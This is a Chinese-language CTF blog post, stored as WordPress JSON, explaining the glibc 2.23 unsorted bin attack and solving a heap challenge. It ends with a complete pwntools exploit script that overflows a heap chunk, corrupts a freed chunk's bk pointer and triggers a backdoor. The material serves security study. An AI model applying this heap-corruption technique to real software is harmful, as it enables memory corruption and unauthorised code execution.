{"id":195,"date":"2025-11-19T21:43:11","date_gmt":"2025-11-19T13:43:11","guid":{"rendered":"http:\/\/www.xuanbin.top\/?p=195"},"modified":"2025-11-19T21:43:12","modified_gmt":"2025-11-19T13:43:12","slug":"unsorted-bin_attack","status":"publish","type":"post","link":"http:\/\/www.xuanbin.top\/index.php\/2025\/11\/19\/unsorted-bin_attack\/","title":{"rendered":"Unsorted bin_attack"},"content":{"rendered":"\n<p>\u9002\u7528libc\u7248\u672c:2.23\u3002<\/p>\n\n\n\n<p>2.27\u5f15\u5165\u4e86\u53cc\u5411\u94fe\u8868\u68c0\u67e5\uff0c\u4eceunsorted bin\u4e2d\u53d6\u5757\u65f6\u68c0\u67e5\u6240\u53d6chunk\u7684fd\u6307\u9488\u6307\u5411\u7684chunk\u7684bk\u6307\u9488\u662f\u5426\u7b49\u4e8e\u6240\u53d6chunk,\u5927\u81f4\u4e3a\u5982\u4e0b\u6240\u793a\u3002<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>\/\/\u79f0victim\u4e3a\u6240\u53d6\u5757\nif\uff08victim->fd->bk!=victim||victim->bk->fd!=victim\uff09\n{\n     exit();\n}<\/code><\/pre>\n\n\n\n<h2 class=\"wp-block-heading\">\u601d\u8def<\/h2>\n\n\n\n<p>\u5229\u7528\u6f0f\u6d1e\u4f7f\u4e00\u4e2achunk\u88ab\u91ca\u653e\u540e\u4fee\u6539\u8fd9\u4e2achunk\u7684bk\u6307\u9488\uff0c\u6307\u5411\u8981\u4fee\u6539\u7684\u76ee\u6807\u5185\u5b58-0x10\u5904\uff0c\u901a\u8fc7\u4eceunsorted bin\u53d6\u5757\u65f6\uff0c\u94fe\u8868\u672c\u8eab\u53d1\u751f\u7684\u64cd\u4f5c\u5c06\u76ee\u6807\u5185\u5b58\u6307\u5411\u4e00\u4e2a\u5730\u5740\uff0c\u4ece\u800c\u5b9e\u73b0\u4fee\u6539\u76ee\u6807\u5185\u5b58\u4e3a\u4e00\u4e2a\u8f83\u5927\u7684\u503c\u3002\uff08\u4e3b\u8981\u7528\u4e8e\u8f85\u52a9\u653b\u51fb\u624b\u6bb5\uff0c\u5982\u4fee\u6539global_max_fast\u4e3a\u8f83\u5927\u503c\u4f7f\u6240\u6709chunk\u90fd\u4f7f\u7528fast bin\u7ba1\u7406\uff09<\/p>\n\n\n\n<h2 class=\"wp-block-heading\">\u5229\u7528\u6761\u4ef6<\/h2>\n\n\n\n<ul class=\"wp-block-list\">\n<li>\u5b58\u5728\u5806\u6ea2\u51fa\uff0c\u53ef\u4ee5\u5728chunk\u88ab\u91ca\u653e\u540e\u4fee\u6539chunk\u7684bk\u6307\u9488<\/li>\n<\/ul>\n\n\n\n<h2 class=\"wp-block-heading\">\u4f8b\u9898<\/h2>\n\n\n\n<figure class=\"wp-block-image size-full\"><img loading=\"lazy\" decoding=\"async\" width=\"483\" height=\"99\" src=\"http:\/\/www.xuanbin.top\/wp-content\/uploads\/2025\/11\/1763559333-QQ_1763559330255.png\" alt=\"\" class=\"wp-image-196\" srcset=\"http:\/\/www.xuanbin.top\/wp-content\/uploads\/2025\/11\/1763559333-QQ_1763559330255.png 483w, http:\/\/www.xuanbin.top\/wp-content\/uploads\/2025\/11\/1763559333-QQ_1763559330255-300x61.png 300w\" sizes=\"auto, (max-width: 483px) 100vw, 483px\" \/><\/figure>\n\n\n\n<p>menu:<\/p>\n\n\n\n<figure class=\"wp-block-image size-full\"><img loading=\"lazy\" decoding=\"async\" width=\"379\" height=\"216\" src=\"http:\/\/www.xuanbin.top\/wp-content\/uploads\/2025\/11\/1763559350-QQ_1763559347975.png\" alt=\"\" class=\"wp-image-197\" srcset=\"http:\/\/www.xuanbin.top\/wp-content\/uploads\/2025\/11\/1763559350-QQ_1763559347975.png 379w, http:\/\/www.xuanbin.top\/wp-content\/uploads\/2025\/11\/1763559350-QQ_1763559347975-300x171.png 300w\" sizes=\"auto, (max-width: 379px) 100vw, 379px\" \/><\/figure>\n\n\n\n<p>create:<\/p>\n\n\n\n<figure class=\"wp-block-image size-full\"><img loading=\"lazy\" decoding=\"async\" width=\"434\" height=\"525\" src=\"http:\/\/www.xuanbin.top\/wp-content\/uploads\/2025\/11\/1763559390-QQ_1763559370371.png\" alt=\"\" class=\"wp-image-198\" srcset=\"http:\/\/www.xuanbin.top\/wp-content\/uploads\/2025\/11\/1763559390-QQ_1763559370371.png 434w, http:\/\/www.xuanbin.top\/wp-content\/uploads\/2025\/11\/1763559390-QQ_1763559370371-248x300.png 248w\" sizes=\"auto, (max-width: 434px) 100vw, 434px\" \/><\/figure>\n\n\n\n<p>heaparray\u6570\u7ec4\u4ec5\u5b58\u653echunk\u7684user data\u5730\u5740\uff0c\u4e0d\u5b58\u653e\u5927\u5c0f<\/p>\n\n\n\n<p>edit:<\/p>\n\n\n\n<figure class=\"wp-block-image size-full\"><img loading=\"lazy\" decoding=\"async\" width=\"519\" height=\"558\" src=\"http:\/\/www.xuanbin.top\/wp-content\/uploads\/2025\/11\/1763559434-QQ_1763559431421.png\" alt=\"\" class=\"wp-image-199\" srcset=\"http:\/\/www.xuanbin.top\/wp-content\/uploads\/2025\/11\/1763559434-QQ_1763559431421.png 519w, http:\/\/www.xuanbin.top\/wp-content\/uploads\/2025\/11\/1763559434-QQ_1763559431421-279x300.png 279w\" sizes=\"auto, (max-width: 519px) 100vw, 519px\" \/><\/figure>\n\n\n\n<p>\u672a\u5bf9\u4fee\u6539\u957f\u5ea6\u505a\u9650\u5236\uff0cedit\u957f\u5ea6\u5927\u4e8e\u539f\u957f\u5ea6\u65f6\u4ea7\u751f\u5806\u6ea2\u51fa\u3002<\/p>\n\n\n\n<p>delete:<\/p>\n\n\n\n<figure class=\"wp-block-image size-full\"><img loading=\"lazy\" decoding=\"async\" width=\"376\" height=\"486\" src=\"http:\/\/www.xuanbin.top\/wp-content\/uploads\/2025\/11\/1763559493-QQ_1763559490911.png\" alt=\"\" class=\"wp-image-200\" srcset=\"http:\/\/www.xuanbin.top\/wp-content\/uploads\/2025\/11\/1763559493-QQ_1763559490911.png 376w, http:\/\/www.xuanbin.top\/wp-content\/uploads\/2025\/11\/1763559493-QQ_1763559490911-232x300.png 232w\" sizes=\"auto, (max-width: 376px) 100vw, 376px\" \/><\/figure>\n\n\n\n<p>free\u540e\u7f6e\u96f6\uff0c\u6ca1\u6709UAF\u3002<\/p>\n\n\n\n<figure class=\"wp-block-image size-full\"><img loading=\"lazy\" decoding=\"async\" width=\"465\" height=\"254\" src=\"http:\/\/www.xuanbin.top\/wp-content\/uploads\/2025\/11\/1763559522-QQ_1763559515496.png\" alt=\"\" class=\"wp-image-201\" srcset=\"http:\/\/www.xuanbin.top\/wp-content\/uploads\/2025\/11\/1763559522-QQ_1763559515496.png 465w, http:\/\/www.xuanbin.top\/wp-content\/uploads\/2025\/11\/1763559522-QQ_1763559515496-300x164.png 300w\" sizes=\"auto, (max-width: 465px) 100vw, 465px\" \/><\/figure>\n\n\n\n<p>\u540c\u65f6\u5b58\u5728\u540e\u95e8\u51fd\u6570\uff0c\u4fee\u6539\u4e00\u4e2a\u5185\u5b58\u4e3a\u8f83\u5927\u7684\u6570\u5373\u53ef\u89e6\u53d1\uff0c\u4e3a\u4e86unsorted bin attack\u800c\u8bbe\u7f6e\u7684\u4e00\u4e2a\u70b9\u3002<\/p>\n\n\n\n<p>\u6574\u4f53\u601d\u8def\u5c31\u662f\u91ca\u653echunk\u540eedit\u524d\u4e00\u4e2achunk\u5806\u6ea2\u51fa\u5230\u4fee\u6539\u91ca\u653e\u7684chunk\u7684fd\u503c\u6307\u5411magic\uff0c\u7136\u540emalloc\u5bf9\u5e94\u5927\u5c0f\u7684chunk\u4f7f\u88ab\u91ca\u653echunk\u4eceunsorted bin\u7684\u94fe\u8868\u4e2d\u8131\u51fa\u65f6\u4fee\u6539magic\u4e3aunsorted bin\u5730\u5740\uff0c\u4ece\u800c\u5b8c\u6210\u4fee\u6539\u76ee\u6807\u5185\u5b58\u4e3a\u4e00\u4e2a\u8f83\u5927\u7684\u503c\u7684\u76ee\u7684\u3002<\/p>\n\n\n\n<p>exp<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>from pwn import *\n\ncontext(arch='amd64',log_level='debug')\nfile = '.\/pwn'\nelf = ELF(file)\np=process(file)\n#gdb.attach(p,\"b *0x400DB5\")\ns       = lambda data               :p.send(data)\nsa      = lambda text,data          :p.sendafter(text, data)\nsl      = lambda data               :p.sendline(data)\nsla     = lambda text,data          :p.sendlineafter(text, data)\nr       = lambda num=4096           :p.recv(num)\nrl      = lambda                    :p.recvline()\nru      = lambda text               :p.recvuntil(text)\nuu32    = lambda                    :u32(p.recvuntil(b\"\\xf7\")&#91;-4:].ljust(4,b\"\\x00\"))\nuu64    = lambda                    :u64(p.recvuntil(b\"\\x7f\")&#91;-6:].ljust(8,b\"\\x00\"))\ninf     =  lambda s                 :info(f\"{s} ==> 0x{eval(s):x}\")\n\ndef create(size,content):\n    ru(\"Your choice\")\n    sl(\"1\")\n    ru(\"Size of Heap :\")\n    sl(str(size).encode())\n    ru(\"Content of heap:\")\n    sl(content)\ndef edit(index,size,content):\n    ru(\"Your choice\")\n    sl(\"2\")\n    ru(\"Index :\")\n    sl(str(index))\n    ru(\"Size of Heap :\")\n    sl(str(size).encode())\n    ru(\"Content of heap :\")\n    sl(content)\ndef delete(index):\n    ru(\"Your choice\")\n    sl(\"3\")\n    ru(\"Index :\")\n    sl(str(index))\n\ncreate(0x80,\"aaaa\")\ncreate(0x80,\"bbbb\")\ncreate(0x80,\"cccc\")\npayload=p64(0)*0x11+p64(0x91)+p64(0)+p64(0x6020A0-0x10)\ndelete(1)\nedit(0,0x80+0x10+0x10,payload)\ncreate(0x80,\"aaaa\")\nru(\"Your choice\")\nsl(\"114514\")\n<\/code><\/pre>\n\n\n\n<p><\/p>\n","protected":false},"excerpt":{"rendered":"<p>\u9002\u7528libc\u7248\u672c:2.23\u3002 2.27\u5f15\u5165\u4e86\u53cc\u5411\u94fe\u8868\u68c0\u67e5\uff0c\u4eceunsorted bin\u4e2d\u53d6\u5757\u65f6\u68c0\u67e5\u6240\u53d6chunk\u7684fd\u6307\u9488\u6307\u5411\u7684ch &#8230;<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"emotion":"","emotion_color":"","title_style":"","license":"","footnotes":""},"categories":[1],"tags":[],"class_list":["post-195","post","type-post","status-publish","format-standard","hentry","category-uncategorized"],"_links":{"self":[{"href":"http:\/\/www.xuanbin.top\/index.php\/wp-json\/wp\/v2\/posts\/195","targetHints":{"allow":["GET"]}}],"collection":[{"href":"http:\/\/www.xuanbin.top\/index.php\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"http:\/\/www.xuanbin.top\/index.php\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"http:\/\/www.xuanbin.top\/index.php\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"http:\/\/www.xuanbin.top\/index.php\/wp-json\/wp\/v2\/comments?post=195"}],"version-history":[{"count":2,"href":"http:\/\/www.xuanbin.top\/index.php\/wp-json\/wp\/v2\/posts\/195\/revisions"}],"predecessor-version":[{"id":203,"href":"http:\/\/www.xuanbin.top\/index.php\/wp-json\/wp\/v2\/posts\/195\/revisions\/203"}],"wp:attachment":[{"href":"http:\/\/www.xuanbin.top\/index.php\/wp-json\/wp\/v2\/media?parent=195"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"http:\/\/www.xuanbin.top\/index.php\/wp-json\/wp\/v2\/categories?post=195"},{"taxonomy":"post_tag","embeddable":true,"href":"http:\/\/www.xuanbin.top\/index.php\/wp-json\/wp\/v2\/tags?post=195"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}